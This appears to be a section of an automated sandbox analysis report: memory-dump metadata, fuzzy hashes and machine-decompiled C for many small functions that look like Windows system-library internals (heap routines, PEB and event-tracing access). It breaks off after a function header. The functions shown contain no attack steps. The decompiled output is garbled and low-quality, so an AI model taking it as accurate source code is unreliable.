0x04708f8b
0x04708f91
0x04708f94
0x04708f9e
0x04708fb0
0x04708fa0
0x04708fa9
0x04708fa9
0x04708fbb
0x04708fbc
0x04708fbe
0x04708fc3
0x04708fd6

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49e333dc1c68ea857c3e52af264582439cce5f624e786566209c72d022836bbb
Instruction ID: 295ec47af7df5e4b4c5d3a1b7a80255f66f768416755f7e79034b974712eadb9
Opcode Fuzzy Hash: 49e333dc1c68ea857c3e52af264582439cce5f624e786566209c72d022836bbb
Instruction Fuzzy Hash: DA013674A01208DFD700EFB8D545A9EB7F4EF08304F108059B905EB381EA34EA00CB95

Uniqueness

Uniqueness Score: -1.00%

Function 046F131B, Relevance: .0, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E046F131B(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				short _v50;
				char _v56;
				signed char* _t18;
				intOrPtr _t24;
				intOrPtr _t30;
				intOrPtr _t31;
				signed int _t32;

				_t29 = __edx;
				_v8 =  *0x472d360 ^ _t32;
				_v20 = _a4;
				_v12 = _a8;
				_v24 = __ecx;
				_v16 = __edx;
				_v50 = 0x1021;
				if(E04657D50() == 0) {
					_t18 = 0x7ffe0380;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				}
				_push( &_v56);
				_push(0x10);
				_push(0x20402);
				_push( *_t18 & 0x000000ff);
				return E0467B640(E04679AE0(), _t24, _v8 ^ _t32, _t29, _t30, _t31);
			}

0x046f131b
0x046f132a
0x046f1330
0x046f1336
0x046f133e
0x046f1341
0x046f1344
0x046f134f
0x046f1361
0x046f1351
0x046f135a
0x046f135a
0x046f136c
0x046f136d
0x046f136f
0x046f1374
0x046f1387

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af0b35523d08cbc60f9409c1f067fa3fa1054e69b5dc459e1d65aae173fe5651
Instruction ID: 3f4c9a3e79ab0a2a6ed803e4db8697cd7d292041c53142d2b5717e4da2d2877a
Opcode Fuzzy Hash: af0b35523d08cbc60f9409c1f067fa3fa1054e69b5dc459e1d65aae173fe5651
Instruction Fuzzy Hash: A2013171A0120CEFDB04EFA9D545AAEB7F4FF09700F10405AB945EB351E634AA00CB54

Uniqueness

Uniqueness Score: -1.00%

Function 046F1608, Relevance: .0, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E046F1608(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				short _v46;
				char _v52;
				signed char* _t15;
				intOrPtr _t21;
				intOrPtr _t27;
				intOrPtr _t28;
				signed int _t29;

				_t26 = __edx;
				_v8 =  *0x472d360 ^ _t29;
				_v12 = _a4;
				_v20 = __ecx;
				_v16 = __edx;
				_v46 = 0x1024;
				if(E04657D50() == 0) {
					_t15 = 0x7ffe0380;
				} else {
					_t15 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				}
				_push( &_v52);
				_push(0xc);
				_push(0x20402);
				_push( *_t15 & 0x000000ff);
				return E0467B640(E04679AE0(), _t21, _v8 ^ _t29, _t26, _t27, _t28);
			}

0x046f1608
0x046f1617
0x046f161d
0x046f1625
0x046f1628
0x046f162b
0x046f1636
0x046f1648
0x046f1638
0x046f1641
0x046f1641
0x046f1653
0x046f1654
0x046f1656
0x046f165b
0x046f166e

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb909f08d8156ec29cf77e7f16e14e8e91d539c88943eceafa3b1a32b06312bb
Instruction ID: e66719397be66fb420fc1c48b2fd132b52d8348d0c3165a0e24d6b36bf483647
Opcode Fuzzy Hash: eb909f08d8156ec29cf77e7f16e14e8e91d539c88943eceafa3b1a32b06312bb
Instruction Fuzzy Hash: EDF06271E01248EFDB14EFA9D955AAEB7F4FF14300F044069A905EB391F634AD00CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0465C577, Relevance: .0, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0465C577(void* __ecx, char _a4) {
				void* __esi;
				void* __ebp;
				void* _t17;
				void* _t19;
				void* _t20;
				void* _t21;

				_t18 = __ecx;
				_t21 = __ecx;
				if(__ecx == 0 ||  *((char*)(__ecx + 0xdd)) != 0 || E0465C5D5(__ecx, _t19) == 0 ||  *((intOrPtr*)(__ecx + 4)) != 0x46111cc ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					__eflags = _a4;
					if(__eflags != 0) {
						L10:
						E047088F5(_t17, _t18, _t19, _t20, _t21, __eflags);
						L9:
						return 0;
					}
					__eflags =  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28));
					if(__eflags == 0) {
						goto L10;
					}
					goto L9;
				} else {
					return 1;
				}
			}

0x0465c577
0x0465c57d
0x0465c581
0x0465c5b5
0x0465c5b9
0x0465c5ce
0x0465c5ce
0x0465c5ca
0x00000000
0x0465c5ca
0x0465c5c4
0x0465c5c8
0x00000000
0x00000000
0x00000000
0x0465c5ad
0x00000000
0x0465c5af

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: baebb8fa63cf809e207f3c0e83ddf8e346a786d41822b650317968aff86e94c5
Instruction ID: 71fe1fe867abd7980c9eae15df13daf5cc1048f8148915873ba9891eeb13c289
Opcode Fuzzy Hash: baebb8fa63cf809e207f3c0e83ddf8e346a786d41822b650317968aff86e94c5
Instruction Fuzzy Hash: 9BF090B29157909EE7319B94C004B227BD49B15778F458466DC0687371F6A4FCA0C251

Uniqueness

Uniqueness Score: -1.00%

Function 04708D34, Relevance: .0, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E04708D34(intOrPtr __ecx, intOrPtr __edx) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				short _v42;
				char _v48;
				signed char* _t12;
				intOrPtr _t18;
				intOrPtr _t24;
				intOrPtr _t25;
				signed int _t26;

				_t23 = __edx;
				_v8 =  *0x472d360 ^ _t26;
				_v16 = __ecx;
				_v42 = 0x1c2b;
				_v12 = __edx;
				if(E04657D50() == 0) {
					_t12 = 0x7ffe0386;
				} else {
					_t12 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v48);
				_push(8);
				_push(0x20402);
				_push( *_t12 & 0x000000ff);
				return E0467B640(E04679AE0(), _t18, _v8 ^ _t26, _t23, _t24, _t25);
			}

0x04708d34
0x04708d43
0x04708d4b
0x04708d4e
0x04708d52
0x04708d5c
0x04708d6e
0x04708d5e
0x04708d67
0x04708d67
0x04708d79
0x04708d7a
0x04708d7c
0x04708d81
0x04708d94

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b4f72996c66193f1f603fbaee3350a7ce752485abbe20715dda2c99614eaaa9
Instruction ID: 7c90c6b4be25263ea26f4f8c797124b91d5aeb3de665160a364799c1b885562c
Opcode Fuzzy Hash: 9b4f72996c66193f1f603fbaee3350a7ce752485abbe20715dda2c99614eaaa9
Instruction Fuzzy Hash: DCF0B470E05608DFD714EFB8D541A6E77F4EF08704F108099E905EB391EA34E900C758

Uniqueness

Uniqueness Score: -1.00%

Function 046F2073, Relevance: .0, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E046F2073(void* __ebx, void* __ecx, void* __edi, void* __eflags) {
				void* __esi;
				signed char _t3;
				signed char _t7;
				void* _t19;

				_t17 = __ecx;
				_t3 = E046EFD22(__ecx);
				_t19 =  *0x472849c - _t3; // 0x0
				if(_t19 == 0) {
					__eflags = _t17 -  *0x4728748; // 0x0
					if(__eflags <= 0) {
						E046F1C06();
						_t3 =  *((intOrPtr*)( *[fs:0x30] + 2));
						__eflags = _t3;
						if(_t3 != 0) {
							L5:
							__eflags =  *0x4728724 & 0x00000004;
							if(( *0x4728724 & 0x00000004) == 0) {
								asm("int3");
								return _t3;
							}
						} else {
							_t3 =  *0x7ffe02d4 & 0x00000003;
							__eflags = _t3 - 3;
							if(_t3 == 3) {
								goto L5;
							}
						}
					}
					return _t3;
				} else {
					_t7 =  *0x4728724; // 0x0
					return E046E8DF1(__ebx, 0xc0000374, 0x4725890, __edi, __ecx,  !_t7 >> 0x00000002 & 0x00000001,  !_t7 >> 0x00000002 & 0x00000001);
				}
			}

0x046f2076
0x046f2078
0x046f207d
0x046f2083
0x046f20a4
0x046f20aa
0x046f20ac
0x046f20b7
0x046f20ba
0x046f20bc
0x046f20c9
0x046f20c9
0x046f20d0
0x046f20d2
0x00000000
0x046f20d2
0x046f20be
0x046f20c3
0x046f20c5
0x046f20c7
0x00000000
0x00000000
0x046f20c7
0x046f20bc
0x046f20d4
0x046f2085
0x046f2085
0x046f20a3
0x046f20a3

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ddc5065e281b759acfa8d586a1b7e512813560ac2810b92fa684dff56ed9bdc0
Instruction ID: 0ad936dae988fa8ff02e64f31089ec419c93098c9bbe9bd2c08350b353b6d2bc
Opcode Fuzzy Hash: ddc5065e281b759acfa8d586a1b7e512813560ac2810b92fa684dff56ed9bdc0
Instruction Fuzzy Hash: B4F0206B4121848BFF327F267A202E16BD5C765118B4A84CADAD017304E83FAD83CE25

Uniqueness

Uniqueness Score: -1.00%

Function 0467927A, Relevance: .0, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E0467927A(void* __ecx) {
				signed int _t11;
				void* _t14;

				_t11 = L04654620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0x98);
				if(_t11 != 0) {
					E0467FA60(_t11, 0, 0x98);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					 *(_t11 + 0x1c) =  *(_t11 + 0x1c) & 0x00000000;
					 *((intOrPtr*)(_t11 + 0x24)) = 1;
					E046792C6(_t11, _t14);
				}
				return _t11;
			}

0x04679295
0x04679299
0x0467929f
0x046792aa
0x046792ad
0x046792ae
0x046792af
0x046792b0
0x046792b4
0x046792bb
0x046792bb
0x046792c5

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb98b62dac83db7e13ee253788b92f70b835eb404f2827a387eedf494df67516
Instruction ID: 8ca116446055ea0cd4abf07911af4fd90145980bcb42c87ef9e2c37d6b4e5e0f
Opcode Fuzzy Hash: fb98b62dac83db7e13ee253788b92f70b835eb404f2827a387eedf494df67516
Instruction Fuzzy Hash: 7FE0E5723405006BF711AE09CC80F0336A99F82724F00407CB9001E242DAE5E80887A4

Uniqueness

Uniqueness Score: -1.00%

Function 0465746D, Relevance: .0, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E0465746D(short* __ebx, void* __ecx, void* __edi, intOrPtr __esi) {
				signed int _t8;
				void* _t10;
				short* _t17;
				void* _t19;
				intOrPtr _t20;
				void* _t21;

				_t20 = __esi;
				_t19 = __edi;
				_t17 = __ebx;
				if( *((char*)(_t21 - 0x25)) != 0) {
					if(__ecx == 0) {
						E0464EB70(__ecx, 0x47279a0);
					} else {
						asm("lock xadd [ecx], eax");
						if((_t8 | 0xffffffff) == 0) {
							_push( *((intOrPtr*)(__ecx + 4)));
							E046795D0();
							L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *((intOrPtr*)(_t21 - 0x50)));
							_t17 =  *((intOrPtr*)(_t21 - 0x2c));
							_t20 =  *((intOrPtr*)(_t21 - 0x3c));
						}
					}
					L10:
				}
				_t10 = _t19 + _t19;
				if(_t20 >= _t10) {
					if(_t19 != 0) {
						 *_t17 = 0;
						return 0;
					}
				}
				return _t10;
				goto L10;
			}

0x0465746d
0x0465746d
0x0465746d
0x04657471
0x04657488
0x0469f92d
0x0465748e
0x04657491
0x04657495
0x0469f937
0x0469f93a
0x0469f94e
0x0469f953
0x0469f956
0x0469f956
0x04657495
0x00000000
0x04657488
0x04657473
0x04657478
0x0465747d
0x04657481
0x00000000
0x04657481
0x0465747d
0x0465747a
0x00000000

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2677b7d51ff15b63029a6b6e145c98cb47768740c37c71742268f9d755115ed
Instruction ID: 1ae51d7d2924e512cc492a563053e2e9001dab046779a0ffebb874f59c45f0c1
Opcode Fuzzy Hash: a2677b7d51ff15b63029a6b6e145c98cb47768740c37c71742268f9d755115ed
Instruction Fuzzy Hash: 1CF0E234A00344AAEF059B68C940B79BFB1AF1431AF040219DC91AB270F765BC03CB89

Uniqueness

Uniqueness Score: -1.00%

Function 04708CD6, Relevance: .0, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 36%

			E04708CD6(intOrPtr __ecx) {
				signed int _v8;
				intOrPtr _v12;
				short _v38;
				char _v44;
				signed char* _t11;
				intOrPtr _t17;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				signed int _t25;

				_v8 =  *0x472d360 ^ _t25;
				_v12 = __ecx;
				_v38 = 0x1c2d;
				if(E04657D50() == 0) {
					_t11 = 0x7ffe0386;
				} else {
					_t11 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v44);
				_push(0xffffffe4);
				_push(0x402);
				_push( *_t11 & 0x000000ff);
				return E0467B640(E04679AE0(), _t17, _v8 ^ _t25, _t22, _t23, _t24);
			}

0x04708ce5
0x04708ced
0x04708cf0
0x04708cfb
0x04708d0d
0x04708cfd
0x04708d06
0x04708d06
0x04708d18
0x04708d19
0x04708d1b
0x04708d20
0x04708d33

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49029b1b79cf3c1bb6dfd0ea972f50abde9662cc129f3a42d2384a0eeba1f568
Instruction ID: 28800faef6313635ca90b32da1a2e51f917b763d06b5425392ea128a88753048
Opcode Fuzzy Hash: 49029b1b79cf3c1bb6dfd0ea972f50abde9662cc129f3a42d2384a0eeba1f568
Instruction Fuzzy Hash: EFF08970A05108EBDB04EBB9D545E6E77F4EF08304F11415DE915EB3D1E934E900C759

Uniqueness

Uniqueness Score: -1.00%

Function 04634F2E, Relevance: .0, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04634F2E(void* __ecx, char _a4) {
				void* __esi;
				void* __ebp;
				void* _t17;
				void* _t19;
				void* _t20;
				void* _t21;

				_t18 = __ecx;
				_t21 = __ecx;
				if(__ecx == 0) {
					L6:
					__eflags = _a4;
					if(__eflags != 0) {
						L8:
						E047088F5(_t17, _t18, _t19, _t20, _t21, __eflags);
						L9:
						return 0;
					}
					__eflags =  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28));
					if(__eflags != 0) {
						goto L9;
					}
					goto L8;
				}
				_t18 = __ecx + 0x30;
				if(E0465C5D5(__ecx + 0x30, _t19) == 0 ||  *((intOrPtr*)(__ecx + 0x34)) != 0x4611030 ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					goto L6;
				} else {
					return 1;
				}
			}

0x04634f2e
0x04634f34
0x04634f38
0x04690b85
0x04690b85
0x04690b89
0x04690b9a
0x04690b9a
0x04690b9f
0x00000000
0x04690b9f
0x04690b94
0x04690b98
0x00000000
0x00000000
0x00000000
0x04690b98
0x04634f3e
0x04634f48
0x00000000
0x04634f6e
0x00000000
0x04634f70

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30268066f6594d80e50b6738b775c2a69b7ff5437e584b22f46b3986a7fbc5d7
Instruction ID: 9ebfad10816092ab99e1d09c87b85be144fb5ef9ce9f67a5642385c19978f130
Opcode Fuzzy Hash: 30268066f6594d80e50b6738b775c2a69b7ff5437e584b22f46b3986a7fbc5d7
Instruction Fuzzy Hash: 03F0E2329266958FEB71DB18C144B22B7ECAB247B8F054464D805C7B25EBA5FC40C640

Uniqueness

Uniqueness Score: -1.00%

Function 04708B58, Relevance: .0, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 36%

			E04708B58(intOrPtr __ecx) {
				signed int _v8;
				intOrPtr _v20;
				short _v46;
				char _v52;
				signed char* _t11;
				intOrPtr _t17;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				signed int _t25;

				_v8 =  *0x472d360 ^ _t25;
				_v20 = __ecx;
				_v46 = 0x1c26;
				if(E04657D50() == 0) {
					_t11 = 0x7ffe0386;
				} else {
					_t11 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v52);
				_push(4);
				_push(0x402);
				_push( *_t11 & 0x000000ff);
				return E0467B640(E04679AE0(), _t17, _v8 ^ _t25, _t22, _t23, _t24);
			}

0x04708b67
0x04708b6f
0x04708b72
0x04708b7d
0x04708b8f
0x04708b7f
0x04708b88
0x04708b88
0x04708b9a
0x04708b9b
0x04708b9d
0x04708ba2
0x04708bb5

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a40c83bf43399845aa18aa58012c9675eac2e8719dd4a18ce5181290debefff
Instruction ID: 5ef3f55a72e93d4c4d443566f985d223588552cbc632c37740a3dc2bd265e48c
Opcode Fuzzy Hash: 6a40c83bf43399845aa18aa58012c9675eac2e8719dd4a18ce5181290debefff
Instruction Fuzzy Hash: CFF05EB0A05258EBEB10EBA8D906A6E73B4EB04704F15445DAA059B3D1FA34E900C799

Uniqueness

Uniqueness Score: -1.00%

Function 0466A44B, Relevance: .0, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0466A44B(signed int __ecx) {
				intOrPtr _t13;
				signed int _t15;
				signed int* _t16;
				signed int* _t17;

				_t13 =  *0x4727b9c; // 0x0
				_t15 = __ecx;
				_t16 = L04654620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t13 + 0xc0000, 8 + __ecx * 4);
				if(_t16 == 0) {
					return 0;
				}
				 *_t16 = _t15;
				_t17 =  &(_t16[2]);
				E0467FA60(_t17, 0, _t15 << 2);
				return _t17;
			}

0x0466a44b
0x0466a453
0x0466a472
0x0466a476
0x00000000
0x0466a493
0x0466a47a
0x0466a47f
0x0466a486
0x00000000

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f2ffc5d424ca18339b395647801e94b28a539406fcd4623457811d72e86986f
Instruction ID: 40495e85b55282fc11ec7a8dc6fc96244bb82e7fab94432f9c642cbf8524e5c9
Opcode Fuzzy Hash: 3f2ffc5d424ca18339b395647801e94b28a539406fcd4623457811d72e86986f
Instruction Fuzzy Hash: 18E09272B01421ABD2215A58ED00F66B39DDBE5655F094039F905D7210EA28ED02C7E0

Uniqueness

Uniqueness Score: -1.00%

Function 0463F358, Relevance: .0, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E0463F358(void* __ecx, signed int __edx) {
				char _v8;
				signed int _t9;
				void* _t20;

				_push(__ecx);
				_t9 = 2;
				_t20 = 0;
				if(E0466F3D5( &_v8, _t9 * __edx, _t9 * __edx >> 0x20) >= 0 && _v8 != 0) {
					_t20 = L04654620( &_v8,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v8);
				}
				return _t20;
			}

0x0463f35d
0x0463f361
0x0463f367
0x0463f372
0x0463f38c
0x0463f38c
0x0463f394

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61dda8323ae8c861ea8f02d60a1be81a40b0a62d8b7407e3baae4fe75ca8acd3
Instruction ID: 36109c92871fe83336a4f1ea51b352bccae7174c40d99e9a7a836953b195bacc
Opcode Fuzzy Hash: 61dda8323ae8c861ea8f02d60a1be81a40b0a62d8b7407e3baae4fe75ca8acd3
Instruction Fuzzy Hash: EFE0D832A41118BBEB3596DD9D05F5ABBACDB44B61F000195F904D7150E964AD40C7D1

Uniqueness

Uniqueness Score: -1.00%

Function 0464FF60, Relevance: .0, Instructions: 22
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0464FF60(intOrPtr _a4) {
				void* __ecx;
				void* __ebp;
				void* _t13;
				intOrPtr _t14;
				void* _t15;
				void* _t16;
				void* _t17;

				_t14 = _a4;
				if(_t14 == 0 || ( *(_t14 + 0x68) & 0x00030000) != 0 ||  *((intOrPtr*)(_t14 + 4)) != 0x46111a4 ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					return E047088F5(_t13, _t14, _t15, _t16, _t17, __eflags);
				} else {
					return E04650050(_t14);
				}
			}

0x0464ff66
0x0464ff6b
0x00000000
0x0464ff8f
0x00000000
0x0464ff8f

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f98e16fb7a7e204c8d500fcfde155898526c15ef6b33c1f1fa8db7bbf361fb7e
Instruction ID: 0366f2045a9a262bc90468a336360019f3a412a1dfedf4e4c361fc694f5763ce
Opcode Fuzzy Hash: f98e16fb7a7e204c8d500fcfde155898526c15ef6b33c1f1fa8db7bbf361fb7e
Instruction Fuzzy Hash: 3AE0DFB0205244DFEF78DF51D040F2677989BA2725F1A801DE4084BA52EA21F881C22A

Uniqueness

Uniqueness Score: -1.00%

Function 046C41E8, Relevance: .0, Instructions: 21
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E046C41E8(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _t5;
				void* _t14;

				_push(8);
				_push(0x47108f0);
				_t5 = E0468D08C(__ebx, __edi, __esi);
				if( *0x47287ec == 0) {
					E0464EEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
					 *(_t14 - 4) =  *(_t14 - 4) & 0x00000000;
					if( *0x47287ec == 0) {
						 *0x47287f0 = 0x47287ec;
						 *0x47287ec = 0x47287ec;
						 *0x47287e8 = 0x47287e4;
						 *0x47287e4 = 0x47287e4;
					}
					 *(_t14 - 4) = 0xfffffffe;
					_t5 = L046C4248();
				}
				return E0468D0D1(_t5);
			}

0x046c41e8
0x046c41ea
0x046c41ef
0x046c41fb
0x046c4206
0x046c420b
0x046c4216
0x046c421d
0x046c4222
0x046c422c
0x046c4231
0x046c4231
0x046c4236
0x046c423d
0x046c423d
0x046c4247

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7aaafb9d312127eefbd47eca2db5fa7dd939cbfb37e234fa81b9b1c0c41f70d
Instruction ID: 5872f70eab6a9e6f37c358e8a148af73c1aeefde5c524b8d9ee31c409f5c7125
Opcode Fuzzy Hash: f7aaafb9d312127eefbd47eca2db5fa7dd939cbfb37e234fa81b9b1c0c41f70d
Instruction Fuzzy Hash: 27F0F8744507809EEB61FFEAA60175437A8F754215F02832E910087384E73A6981CF16

Uniqueness

Uniqueness Score: -1.00%

Function 046ED380, Relevance: .0, Instructions: 21
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E046ED380(void* __ecx, void* __edx, intOrPtr _a4) {
				void* _t5;

				if(_a4 != 0) {
					_t5 = L0463E8B0(__ecx, _a4, 0xfff);
					L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _a4);
					return _t5;
				}
				return 0xc000000d;
			}

0x046ed38a
0x046ed39b
0x046ed3b1
0x00000000
0x046ed3b6
0x00000000

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07c5925e52f8afa1b7907533c1bd4f73c0082095210f26f206316f10964d23b8
Instruction ID: 11512481f09e64fb9ffff1d339ea937cf2a4b421cb79cfb3eb9edbb512f2f50c
Opcode Fuzzy Hash: 07c5925e52f8afa1b7907533c1bd4f73c0082095210f26f206316f10964d23b8
Instruction Fuzzy Hash: 92E0C231285645BBEB225E44CC00F79BB56DB507A5F104035FE085ABA0EA75BC91E6D8

Uniqueness

Uniqueness Score: -1.00%

Function 0466A185, Relevance: .0, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0466A185() {
				void* __ecx;
				intOrPtr* _t5;

				if( *0x47267e4 >= 0xa) {
					if(_t5 < 0x4726800 || _t5 >= 0x4726900) {
						return L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t5);
					} else {
						goto L1;
					}
				} else {
					L1:
					return E04650010(0x47267e0, _t5);
				}
			}

0x0466a190
0x0466a1a6
0x0466a1c2
0x00000000
0x00000000
0x00000000
0x0466a192
0x0466a192
0x0466a19f
0x0466a19f

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eabda4863f0ccebeea3153a9b9ca3f0b5670436fef205fd2a48304b91631c166
Instruction ID: 9bdaaff512959357ddda8349c53d1e33fcdd288243de4c11b8ace90df4f365d9
Opcode Fuzzy Hash: eabda4863f0ccebeea3153a9b9ca3f0b5670436fef205fd2a48304b91631c166
Instruction Fuzzy Hash: D1D05E711610905BF62D6790BF54B266256E78571CF304C6EF3076ABA0FE64FCD4950C

Uniqueness

Uniqueness Score: -1.00%

Function 046616E0, Relevance: .0, Instructions: 17
COMMON

Download Yara Rule

C-Code - Quality: 100%

